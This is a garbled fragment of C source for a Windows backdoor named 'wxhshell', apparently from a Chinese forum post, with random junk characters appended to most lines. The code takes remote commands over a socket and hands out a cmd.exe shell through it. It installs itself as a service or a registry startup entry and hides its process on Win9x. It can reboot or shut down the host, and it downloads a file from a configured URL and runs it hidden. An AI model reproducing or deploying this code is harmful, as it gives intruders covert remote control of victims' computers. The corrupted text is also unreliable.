  else { ilZ5a&X;  
!0):g/2h  
    switch(cmd[0]) { &+ H\ST(/  
  I'N!j>5oX  
  // 帮助 BuxU+  
  case '?': { 'AmA3x)9u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \nL@P6X  
    break; cHVu6I?h  
  } 7_lgo6  
  // 安装 ^$RpP+d  
  case 'i': { X?/32~\  
    if(Install()) _.%g'=14f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #BZ5Mxzj  
    else G(t&(t`[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t~!ag#3['.  
    break; Y|W#VyM-  
    } Ln/*lLIOb  
  // 卸载 /sPa$D  
  case 'r': { WE-+WC!!:  
    if(Uninstall()) w7vQ6jkH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Y N( j \  
    else !vHCftKel  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hd gABIuX  
    break; :?i,!0#"  
    } F*N Hy.Y  
  // 显示 wxhshell 所在路径 + EKp*Vje  
  case 'p': { vVsaGW   
    char svExeFile[MAX_PATH]; =eh!eZ9  
    strcpy(svExeFile,"\n\r"); -OKXfN]  
      strcat(svExeFile,ExeFile); U<'z, Px6  
        send(wsh,svExeFile,strlen(svExeFile),0); IA}.{zY~|  
    break; Kf)$/W4  
    } s9fEx -!y  
  // 重启 v`:!$U* H=  
  case 'b': { .cmhi3o4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2(Yt`3Go(  
    if(Boot(REBOOT)) !MmbwB'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g|4>S<uC  
    else { *GdJ<B$  
    closesocket(wsh); 0$U\H>r  
    ExitThread(0); l^$U~OB8k  
    } M.C`nI4  
    break; zW.Ltz  
    } y\dx \  
  // 关机 &hZ6CV{  
  case 'd': { th0>u.hJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >km$zfM2-  
    if(Boot(SHUTDOWN)) pNu?DF{ 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,I,Zl.5  
    else { [g+WL\1  
    closesocket(wsh); =OKUSHu@V  
    ExitThread(0); L%pAEoSG  
    } 7&L8zl|K  
    break; >Tn[CgH]7  
    } `H^ H#W  
  // 获取shell j2 >WHh  
  case 's': { K;TTGK  
    CmdShell(wsh); (@O,U  
    closesocket(wsh); >}u#KBedE  
    ExitThread(0); m&s;zQ  
    break; gs~u8"B  
  } piIGSC  
  // 退出 X 3ZKN;  
  case 'x': { ?b(DDQMf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M,Lq4bz  
    CloseIt(wsh); f.R;<V.)  
    break; R m2M  
    } n~i^+pD@  
  // 离开 ;B :\e8  
  case 'q': { .l,NmF9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XqcNFSo)  
    closesocket(wsh); Jr>Nc}!U  
    WSACleanup(); ^{E_fQJX  
    exit(1); f uH3C~u7<  
    break; nGTqW/k[+s  
        } Fg2/rC:_  
  } Nvd(Tad  
  } HEK?z|Ne  
s:tWEgZk?  
  // 提示信息 T%YN(f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V:AA{<  
} 160BgFM  
  } W,nn,%  
1X?q4D"  
  return; \PmM856=ms  
} H;FzWcm  
`_J>R  
// shell模块句柄 z qd1G(tO  
int CmdShell(SOCKET sock) g+C~}M_7  
{ CY!H)6k  
STARTUPINFO si; %XXjQ5p  
ZeroMemory(&si,sizeof(si)); v6T<K)S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gf8~Zlq4v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mDWRYIuN  
PROCESS_INFORMATION ProcessInfo;  Y@b|/+  
char cmdline[]="cmd"; 8,B#W#*{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G/KTF2wl7  
  return 0; ~BXy)IB6  
} ?.nD!S@  
_Vr}ipx-k  
// 自身启动模式 ,awkL :  
int StartFromService(void) L1q]  
{ UXHtmi|_:  
typedef struct P;ZVv{mT  
{ Vz y )jf  
  DWORD ExitStatus; 3tmS/ tQp  
  DWORD PebBaseAddress; GbC JGqOR  
  DWORD AffinityMask; }5QUIK~NA  
  DWORD BasePriority; U(<~("ocN  
  ULONG UniqueProcessId; xp"F)6  
  ULONG InheritedFromUniqueProcessId; H.[(`wi!I  
}   PROCESS_BASIC_INFORMATION; tA K=W$r  
:,'.b|Tl.b  
PROCNTQSIP NtQueryInformationProcess; U a1Z,~ *  
c{i\F D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q6P5:@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D:N\K/p  
pEb/yIT"  
  HANDLE             hProcess; X>MDX.Z  
  PROCESS_BASIC_INFORMATION pbi; 70nBC  
2j[; M-3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2(Nf$?U @0  
  if(NULL == hInst ) return 0; ;^8X(R  
,B,0o*qc{K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BR~+CBH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h-*h;Uyc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); + a'nP=e&  
$,1KD3;+]  
  if (!NtQueryInformationProcess) return 0; @8SA^u0  
gZ  {  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _P=L| U#C  
  if(!hProcess) return 0; //^{u[lr  
/J&_ZDNV~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {=P}c:i W  
iDlg>UYd  
  CloseHandle(hProcess); q9(hn_X@/  
1_)Y{3L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |eej}G(,m}  
if(hProcess==NULL) return 0; sTi3x)#xB  
#-g2p?+i&  
HMODULE hMod; V:1_k"zQ  
char procName[255]; :U'Oc3l#Y  
unsigned long cbNeeded; c+UZ UgP  
~fz9PoC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m =MM  
-QQU>_  
  CloseHandle(hProcess); }\EHZ  
^ }|$_  
if(strstr(procName,"services")) return 1; // 以服务启动 a &hj|  
#:[CF:  
  return 0; // 注册表启动 9:*a9xT,  
} 12bztlv  
HgOrrewj  
// 主模块 N<aMUVm  
int StartWxhshell(LPSTR lpCmdLine) FC8#XZp  
{ Odbm"Y  
  SOCKET wsl; B|- W  
BOOL val=TRUE; 8?t}S2n2  
  int port=0; l'"Ici#7Ls  
  struct sockaddr_in door; ztV%W6  
^FK-e;J  
  if(wscfg.ws_autoins) Install(); K1-y[pS]E  
>]?!9@#IH  
port=atoi(lpCmdLine); ~4ysg[`  
lJU]sZ9~b  
if(port<=0) port=wscfg.ws_port; cb_nlG!  
IjRUL/\=  
  WSADATA data; VOrBNu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; - !s=`9o  
Y9nyKL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3x E^EXV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NMhI0Ix$w  
  door.sin_family = AF_INET; zR }vw{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @}A3ie'w  
  door.sin_port = htons(port); lFc^y  
@)3orH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~@'DYZb- H  
closesocket(wsl); K%NgZ(x(  
return 1; X%Ta?(9|.^  
} Ny 7vId  
^xF-IA#ZeB  
  if(listen(wsl,2) == INVALID_SOCKET) { *Q,9 [k  
closesocket(wsl); s^-o_K\*c  
return 1; o1rH@D6/-  
} 4tFnZ2x  
  Wxhshell(wsl); >W=^>8u  
  WSACleanup(); 0|`iop%(n  
+(##B pC  
return 0; wRQMuFGY  
VJ|8 0?4h  
} M7\KiQd  
_S6SCSFc  
// 以NT服务方式启动 L7$1rO<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2<^eVpNJR  
{ cK1RmL"3  
DWORD   status = 0; cAzlkh  
  DWORD   specificError = 0xfffffff; Hc-Ke1+  
&^])iG,Ew  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p`oHF  5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &uG@I=}TIY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cmbl"Pqy1  
  serviceStatus.dwWin32ExitCode     = 0; F!ra$5u  
  serviceStatus.dwServiceSpecificExitCode = 0; #:} mi;{  
  serviceStatus.dwCheckPoint       = 0; (Z at|R.F  
  serviceStatus.dwWaitHint       = 0; ;%$wA5"2M  
G'6f6i|<I@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^1z)\p1  
  if (hServiceStatusHandle==0) return; =-n7/  
8POLp9>X  
status = GetLastError(); lxOUV?m^N  
  if (status!=NO_ERROR) p!2t/XIM  
{ qJEtB;J'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~DUOL ~E  
    serviceStatus.dwCheckPoint       = 0; `Bv, :i  
    serviceStatus.dwWaitHint       = 0; ')~[J$qz  
    serviceStatus.dwWin32ExitCode     = status; ^TCfj^FP  
    serviceStatus.dwServiceSpecificExitCode = specificError; -n`2>L1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n.xOu`gj  
    return; t$b{zv9C  
  } OT}^dPQe  
+&8'@v$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1Et{lrgh f  
  serviceStatus.dwCheckPoint       = 0; u#v];6N  
  serviceStatus.dwWaitHint       = 0; <=PYu:]h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YC d  
} !_j6\r=  
{A8w~3F  
// 处理NT服务事件,比如:启动、停止 %scQP{%aD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SSa0 x9T  
{ ?E.MP7Y# V  
switch(fdwControl) A>QAR)YP  
{  -bQi4  
case SERVICE_CONTROL_STOP: Zi ;7.PqL  
  serviceStatus.dwWin32ExitCode = 0; t%]b`ad  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rb<9/z5-  
  serviceStatus.dwCheckPoint   = 0; dZ'H'm;,!  
  serviceStatus.dwWaitHint     = 0; c"^g*i2&0  
  { xX2/uxi8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F}=O Mo:.  
  } ;v> +D {s  
  return; @!2vS@f  
case SERVICE_CONTROL_PAUSE: yo"!C?82=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XF Wo"%}w  
  break; mA0|W#NB  
case SERVICE_CONTROL_CONTINUE: -3&mgd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +{"w5o<CO  
  break; 4W36VtQ@E  
case SERVICE_CONTROL_INTERROGATE: I"r[4>>B>0  
  break; *aS[^iX?s  
}; V?o%0V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?4MZT5 .  
} pJ H@v &a  
_XUDPC(*qz  
// 标准应用程序主函数 !vH={40]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UaV8 !Z>  
{ ETtoY<`#  
&Vmx<w  
// 获取操作系统版本 2N}h<Yd 9  
OsIsNt=GetOsVer(); +pJ~<ug]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q OX=M  
s. jcD  
  // 从命令行安装 Ai.^~#%X  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bz*6M  
T{mIk p<  
  // 下载执行文件 Cw]bhaG g  
if(wscfg.ws_downexe) { ThJ`-Ro  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _$BH.I  
  WinExec(wscfg.ws_filenam,SW_HIDE); E j/P:nB  
} yh"48@L'D  
@rt}z+JF  
if(!OsIsNt) { 8VR! Y0`e  
// 如果时win9x,隐藏进程并且设置为注册表启动 \:`-"Ou(*  
HideProc(); |A19IXZ\  
StartWxhshell(lpCmdLine); z)XI A)i6  
} xzOM\Nq?O  
else T96M=?wh!  
  if(StartFromService()) P'D'+qS  
  // 以服务方式启动 B5 H=#  
  StartServiceCtrlDispatcher(DispatchTable); 'w~e>$WI  
else BF+i82$zo  
  // 普通方式启动 8c0ugM  
  StartWxhshell(lpCmdLine); [Cf{2WB:7  
>19j_[n@VC  
return 0; V( SRw  
}
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只看该作者 1 发表于: 2006-10-10
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